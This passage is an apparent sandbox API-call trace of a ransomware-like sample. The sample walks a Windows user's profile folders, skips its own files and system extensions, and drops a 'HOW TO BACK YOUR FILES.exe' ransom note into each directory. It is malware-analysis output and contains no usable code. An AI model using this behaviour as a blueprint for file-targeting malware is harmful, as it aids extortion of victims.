	[0040.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bcc78
	[0040.190] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0040.190] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
	[0040.190] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.190] lstrcmpiW (lpString1="Saved Games", lpString2="Apollon865.txt.exe") returned 1
	[0040.190] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games"
	[0040.190] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", dwFileAttributes=0x10) returned 1
	[0040.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0040.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598408
	[0040.190] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0040.190] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
	[0040.190] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.190] lstrcmpiW (lpString1="Searches", lpString2="Apollon865.txt.exe") returned 1
	[0040.190] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Searches" | out: lpString1="Searches") returned="Searches"
	[0040.190] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", dwFileAttributes=0x10) returned 1
	[0040.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0040.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bccd0
	[0040.191] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0040.191] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
	[0040.191] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.191] lstrcmpiW (lpString1="SendTo", lpString2="Apollon865.txt.exe") returned 1
	[0040.191] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo"
	[0040.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0040.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bcd28
	[0040.191] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0040.191] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0040.191] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.191] lstrcmpiW (lpString1="Start Menu", lpString2="Apollon865.txt.exe") returned 1
	[0040.191] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu"
	[0040.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0040.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x598468
	[0040.191] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0040.191] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0040.191] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.191] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0040.191] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0040.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0040.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcd80
	[0040.191] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0040.191] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d3b9fe0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d3b9fe0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0040.191] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.191] lstrcmpiW (lpString1="Videos", lpString2="Apollon865.txt.exe") returned 1
	[0040.191] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Videos" | out: lpString1="Videos") returned="Videos"
	[0040.191] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", dwFileAttributes=0x10) returned 1
	[0040.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0040.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bcdd8
	[0040.192] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0040.192] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d3b9fe0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d3b9fe0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0040.192] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.192] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0040.192] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos"
	[0040.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcdd8 | out: hHeap=0x580000) returned 1
	[0040.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0040.192] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 36
	[0040.192] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos"
	[0040.192] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.192] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.196] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.196] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30114f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30114f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.196] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.197] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="1PE8K" | out: lpString1="1PE8K") returned="1PE8K"
	[0040.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0040.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5984c8
	[0040.197] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0040.197] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c02d430, ftCreationTime.dwHighDateTime=0x1d4d26f, ftLastAccessTime.dwLowDateTime=0x9d9a2290, ftLastAccessTime.dwHighDateTime=0x1d4c8e4, ftLastWriteTime.dwLowDateTime=0x9d9a2290, ftLastWriteTime.dwHighDateTime=0x1d4c8e4, nFileSizeHigh=0x0, nFileSizeLow=0x13224, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4MPXHvUM9F.avi", cAlternateFileName="4MPXHV~1.AVI")) returned 1
	[0040.197] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.197] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2="Apollon865.txt.exe") returned -1
	[0040.197] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="4MPXHvUM9F.avi" | out: lpString1="4MPXHvUM9F.avi") returned="4MPXHvUM9F.avi"
	[0040.197] lstrlenW (lpString="4MPXHvUM9F.avi") returned 14
	[0040.197] lstrlenW (lpString="Apollon865") returned 10
	[0040.197] lstrcmpiW (lpString1="HvUM9F.avi", lpString2="Apollon865") returned 1
	[0040.197] lstrlenW (lpString=".dll") returned 4
	[0040.197] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2=".dll") returned 1
	[0040.197] lstrlenW (lpString=".lnk") returned 4
	[0040.197] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2=".lnk") returned 1
	[0040.197] lstrlenW (lpString=".ini") returned 4
	[0040.197] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2=".ini") returned 1
	[0040.197] lstrlenW (lpString=".sys") returned 4
	[0040.197] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2=".sys") returned 1
	[0040.197] lstrlenW (lpString="4MPXHvUM9F.avi") returned 14
	[0040.197] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="4_y wyQ22Oy80gsO.avi" | out: lpString1="4_y wyQ22Oy80gsO.avi") returned="4_y wyQ22Oy80gsO.avi"
	[0040.197] lstrlenW (lpString="4_y wyQ22Oy80gsO.avi") returned 20
	[0040.197] lstrlenW (lpString="Apollon865") returned 10
	[0040.197] lstrcmpiW (lpString1="y80gsO.avi", lpString2="Apollon865") returned 1
	[0040.197] lstrlenW (lpString=".dll") returned 4
	[0040.197] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".dll") returned 1
	[0040.197] lstrlenW (lpString=".lnk") returned 4
	[0040.197] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".lnk") returned 1
	[0040.197] lstrlenW (lpString=".ini") returned 4
	[0040.197] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".ini") returned 1
	[0040.197] lstrlenW (lpString=".sys") returned 4
	[0040.197] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".sys") returned 1
	[0040.197] lstrlenW (lpString="4_y wyQ22Oy80gsO.avi") returned 20
	[0040.198] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.198] lstrlenW (lpString="desktop.ini") returned 11
	[0040.198] lstrlenW (lpString="Apollon865") returned 10
	[0040.198] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.198] lstrlenW (lpString=".dll") returned 4
	[0040.198] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0040.198] lstrlenW (lpString=".lnk") returned 4
	[0040.198] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0040.198] lstrlenW (lpString=".ini") returned 4
	[0040.198] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0040.198] lstrlenW (lpString=".sys") returned 4
	[0040.198] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0040.198] lstrlenW (lpString="desktop.ini") returned 11
	[0040.198] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="eERVRfig6ysw.avi" | out: lpString1="eERVRfig6ysw.avi") returned="eERVRfig6ysw.avi"
	[0040.198] lstrlenW (lpString="eERVRfig6ysw.avi") returned 16
	[0040.198] lstrlenW (lpString="Apollon865") returned 10
	[0040.198] lstrcmpiW (lpString1="ig6ysw.avi", lpString2="Apollon865") returned 1
	[0040.198] lstrlenW (lpString=".dll") returned 4
	[0040.198] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".dll") returned 1
	[0040.198] lstrlenW (lpString=".lnk") returned 4
	[0040.198] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".lnk") returned 1
	[0040.198] lstrlenW (lpString=".ini") returned 4
	[0040.198] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".ini") returned 1
	[0040.198] lstrlenW (lpString=".sys") returned 4
	[0040.198] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".sys") returned 1
	[0040.198] lstrlenW (lpString="eERVRfig6ysw.avi") returned 16
	[0040.198] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="f4Q004W.avi" | out: lpString1="f4Q004W.avi") returned="f4Q004W.avi"
	[0040.198] lstrlenW (lpString="f4Q004W.avi") returned 11
	[0040.198] lstrlenW (lpString="Apollon865") returned 10
	[0040.198] lstrcmpiW (lpString1="4Q004W.avi", lpString2="Apollon865") returned -1
	[0040.198] lstrlenW (lpString=".dll") returned 4
	[0040.198] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".dll") returned 1
	[0040.198] lstrlenW (lpString=".lnk") returned 4
	[0040.198] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".lnk") returned 1
	[0040.199] lstrlenW (lpString=".ini") returned 4
	[0040.199] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".ini") returned 1
	[0040.199] lstrlenW (lpString=".sys") returned 4
	[0040.199] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".sys") returned 1
	[0040.199] lstrlenW (lpString="f4Q004W.avi") returned 11
	[0040.199] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="hAi8-2ik1bCNPces5Q" | out: lpString1="hAi8-2ik1bCNPces5Q") returned="hAi8-2ik1bCNPces5Q"
	[0040.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0040.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a998
	[0040.199] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0040.199] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914b6d0, ftCreationTime.dwHighDateTime=0x1d4c69b, ftLastAccessTime.dwLowDateTime=0xf463c1d0, ftLastAccessTime.dwHighDateTime=0x1d4c687, ftLastWriteTime.dwLowDateTime=0xf463c1d0, ftLastWriteTime.dwHighDateTime=0x1d4c687, nFileSizeHigh=0x0, nFileSizeLow=0x54fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hD iD g.flv", cAlternateFileName="HDIDG~1.FLV")) returned 1
	[0040.199] lstrcmpiW (lpString1="hD iD g.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.199] lstrcmpiW (lpString1="hD iD g.flv", lpString2="Apollon865.txt.exe") returned 1
	[0040.199] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="hD iD g.flv" | out: lpString1="hD iD g.flv") returned="hD iD g.flv"
	[0040.199] lstrlenW (lpString="hD iD g.flv") returned 11
	[0040.199] lstrlenW (lpString="Apollon865") returned 10
	[0040.199] lstrcmpiW (lpString1="D iD g.flv", lpString2="Apollon865") returned 1
	[0040.199] lstrlenW (lpString=".dll") returned 4
	[0040.199] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".dll") returned 1
	[0040.199] lstrlenW (lpString=".lnk") returned 4
	[0040.199] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".lnk") returned 1
	[0040.199] lstrlenW (lpString=".ini") returned 4
	[0040.199] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".ini") returned 1
	[0040.199] lstrlenW (lpString=".sys") returned 4
	[0040.199] lstrcmpiW (lpString1="hD iD g.flv", lpString2=".sys") returned 1
	[0040.199] lstrlenW (lpString="hD iD g.flv") returned 11
	[0040.199] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="mZZcohw0sUK2JwS SWp.mp4" | out: lpString1="mZZcohw0sUK2JwS SWp.mp4") returned="mZZcohw0sUK2JwS SWp.mp4"
	[0040.199] lstrlenW (lpString="mZZcohw0sUK2JwS SWp.mp4") returned 23
	[0040.199] lstrlenW (lpString="Apollon865") returned 10
	[0040.199] lstrcmpiW (lpString1="wS SWp.mp4", lpString2="Apollon865") returned 1
	[0040.199] lstrlenW (lpString=".dll") returned 4
	[0040.199] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".dll") returned 1
	[0040.199] lstrlenW (lpString=".lnk") returned 4
	[0040.199] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".lnk") returned 1
	[0040.199] lstrlenW (lpString=".ini") returned 4
	[0040.200] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".ini") returned 1
	[0040.200] lstrlenW (lpString=".sys") returned 4
	[0040.200] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".sys") returned 1
	[0040.200] lstrlenW (lpString="mZZcohw0sUK2JwS SWp.mp4") returned 23
	[0040.200] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="QribyyHfWhKB4PKGXpH.mkv" | out: lpString1="QribyyHfWhKB4PKGXpH.mkv") returned="QribyyHfWhKB4PKGXpH.mkv"
	[0040.200] lstrlenW (lpString="QribyyHfWhKB4PKGXpH.mkv") returned 23
	[0040.200] lstrlenW (lpString="Apollon865") returned 10
	[0040.200] lstrcmpiW (lpString1="PKGXpH.mkv", lpString2="Apollon865") returned 1
	[0040.200] lstrlenW (lpString=".dll") returned 4
	[0040.200] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".dll") returned 1
	[0040.200] lstrlenW (lpString=".lnk") returned 4
	[0040.200] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".lnk") returned 1
	[0040.200] lstrlenW (lpString=".ini") returned 4
	[0040.200] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".ini") returned 1
	[0040.200] lstrlenW (lpString=".sys") returned 4
	[0040.200] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".sys") returned 1
	[0040.200] lstrlenW (lpString="QribyyHfWhKB4PKGXpH.mkv") returned 23
	[0040.200] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="wEs3wMzBy1manSFNm_E3.flv" | out: lpString1="wEs3wMzBy1manSFNm_E3.flv") returned="wEs3wMzBy1manSFNm_E3.flv"
	[0040.200] lstrlenW (lpString="wEs3wMzBy1manSFNm_E3.flv") returned 24
	[0040.200] lstrlenW (lpString="Apollon865") returned 10
	[0040.200] lstrcmpiW (lpString1="FNm_E3.flv", lpString2="Apollon865") returned 1
	[0040.200] lstrlenW (lpString=".dll") returned 4
	[0040.200] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".dll") returned 1
	[0040.200] lstrlenW (lpString=".lnk") returned 4
	[0040.200] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".lnk") returned 1
	[0040.200] lstrlenW (lpString=".ini") returned 4
	[0040.200] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".ini") returned 1
	[0040.200] lstrlenW (lpString=".sys") returned 4
	[0040.200] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".sys") returned 1
	[0040.200] lstrlenW (lpString="wEs3wMzBy1manSFNm_E3.flv") returned 24
	[0040.200] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="X0JMpELFNa" | out: lpString1="X0JMpELFNa") returned="X0JMpELFNa"
	[0040.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0040.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5590
	[0040.200] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0040.201] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4835b0, ftCreationTime.dwHighDateTime=0x1d4cb80, ftLastAccessTime.dwLowDateTime=0xca0d2290, ftLastAccessTime.dwHighDateTime=0x1d4d48e, ftLastWriteTime.dwLowDateTime=0xca0d2290, ftLastWriteTime.dwHighDateTime=0x1d4d48e, nFileSizeHigh=0x0, nFileSizeLow=0x1063c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zBJy4rsUfgo XgJyxz-.mkv", cAlternateFileName="ZBJY4R~1.MKV")) returned 1
	[0040.201] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.201] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0040.201] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="zBJy4rsUfgo XgJyxz-.mkv" | out: lpString1="zBJy4rsUfgo XgJyxz-.mkv") returned="zBJy4rsUfgo XgJyxz-.mkv"
	[0040.201] lstrlenW (lpString="zBJy4rsUfgo XgJyxz-.mkv") returned 23
	[0040.201] lstrlenW (lpString="Apollon865") returned 10
	[0040.201] lstrcmpiW (lpString1="gJyxz-.mkv", lpString2="Apollon865") returned 1
	[0040.201] lstrlenW (lpString=".dll") returned 4
	[0040.201] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".dll") returned 1
	[0040.201] lstrlenW (lpString=".lnk") returned 4
	[0040.201] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".lnk") returned 1
	[0040.201] lstrlenW (lpString=".ini") returned 4
	[0040.201] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".ini") returned 1
	[0040.201] lstrlenW (lpString=".sys") returned 4
	[0040.201] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".sys") returned 1
	[0040.201] lstrlenW (lpString="zBJy4rsUfgo XgJyxz-.mkv") returned 23
	[0040.201] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa"
	[0040.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5590 | out: hHeap=0x580000) returned 1
	[0040.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0040.201] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa") returned 47
	[0040.201] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa"
	[0040.201] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.201] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\how to back your files.exe"), bFailIfExists=1) returned 1
